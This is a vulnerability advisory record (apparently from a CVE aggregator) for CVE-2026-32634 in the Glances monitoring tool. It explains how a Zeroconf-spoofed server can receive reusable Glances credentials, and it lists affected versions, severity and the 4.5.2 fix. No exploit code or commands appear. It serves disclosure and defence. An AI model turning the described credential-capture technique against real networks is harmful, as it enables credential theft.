  "modified": "2026-03-18T21:48:54Z",
  "published": "2026-03-16T16:36:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32634"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers"
}

PYSEC-2026-2172

Vulnerability from pysec - Published: 2026-03-18 18:16 - Updated: 2026-07-13 05:48

Details

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Impacted products

Name	purl
glances	pkg:pypi/glances

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "glances",
        "purl": "pkg:pypi/glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.3.4",
        "1.3.5",
        "1.3.6",
        "1.3.7",
        "1.4",
        "1.4.1",
        "1.4.1.1",
        "1.4.2",
        "1.4.2.1",
        "1.5",
        "1.5.1",
        "1.5.2",
        "1.6",
        "1.6.1",
        "1.7",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.7.6",
        "1.7.7",
        "2.0",
        "2.0.1",
        "2.1",
        "2.1.1",
        "2.1.2",
        "2.10",
        "2.11",
        "2.11.1",
        "2.2",
        "2.2.1",
        "2.3",
        "2.4",
        "2.4.1",
        "2.4.2",
        "2.5",
        "2.5.1",
        "2.6",
        "2.6.1",
        "2.6.2",
        "2.7",
        "2.7.1",
        "2.8",
        "2.8.1",
        "2.8.2",
        "2.8.3",
        "2.8.4",
        "2.8.5",
        "2.8.6",
        "2.8.7",
        "2.8.8",
        "2.9.0",
        "2.9.1",
        "3.0",
        "3.0.1",
        "3.0.2",
        "3.1.0",
        "3.1.1",
        "3.1.2",
        "3.1.3",
        "3.1.4",
        "3.1.4.1",
        "3.1.5",
        "3.1.6",
        "3.1.6.1",
        "3.1.6.2",
        "3.1.7",
        "3.2.0",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.3.1",
        "3.2.4",
        "3.2.4.1",
        "3.2.4.2",
        "3.2.5",
        "3.2.6.1",
        "3.2.6.2",
        "3.2.6.3",
        "3.2.6.4",
        "3.2.7",
        "3.3.0",
        "3.3.0.1",
        "3.3.0.2",
        "3.3.0.3",
        "3.3.0.4",
        "3.3.1",
        "3.3.1.1",
        "3.4.0",
        "3.4.0.1",
        "3.4.0.2",
        "3.4.0.3",
        "3.4.0.4",
        "3.4.0.5",
        "4.0.1",
        "4.0.2",
        "4.0.3",
        "4.0.4",
        "4.0.5",
        "4.0.6",
        "4.0.7",
        "4.0.8",
        "4.1.0",
        "4.1.1",
        "4.1.2",
        "4.2.0",
        "4.2.1",
        "4.3.0",
        "4.3.0.1",
        "4.3.0.3",
        "4.3.0.4",
        "4.3.0.5",
        "4.3.0.6",
        "4.3.0.7",
        "4.3.0.8",
        "4.3.1",
        "4.3.2",
        "4.3.3",
        "4.4.0",
        "4.4.1",
        "4.5.0",
        "4.5.0.1",
        "4.5.0.2",
        "4.5.0.3",
        "4.5.0.4",
        "4.5.0.5",
        "4.5.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32634",
    "GHSA-vx5f-957p-qpvm"
  ],
  "details": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue.",
  "id": "PYSEC-2026-2172",
  "modified": "2026-07-13T05:48:56.456481Z",
  "published": "2026-03-18T18:16:29.097Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    },
    {
      "type": "FIX",
      "url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

BREW-GLANCES-CVE-2026-32634 (CVE-2026-32634)

CVE-2026-32634 (GCVE-0-2026-32634)

GHSA-VX5F-957P-QPVM

Summary

Details

Exploit Flow

PoC

Step 1: Verified local logic proof

Step 2: Live network reproduction

Impact

Recommended Fix

PYSEC-2026-2172

Tags

Sightings

Nomenclature

Related by attack behaviour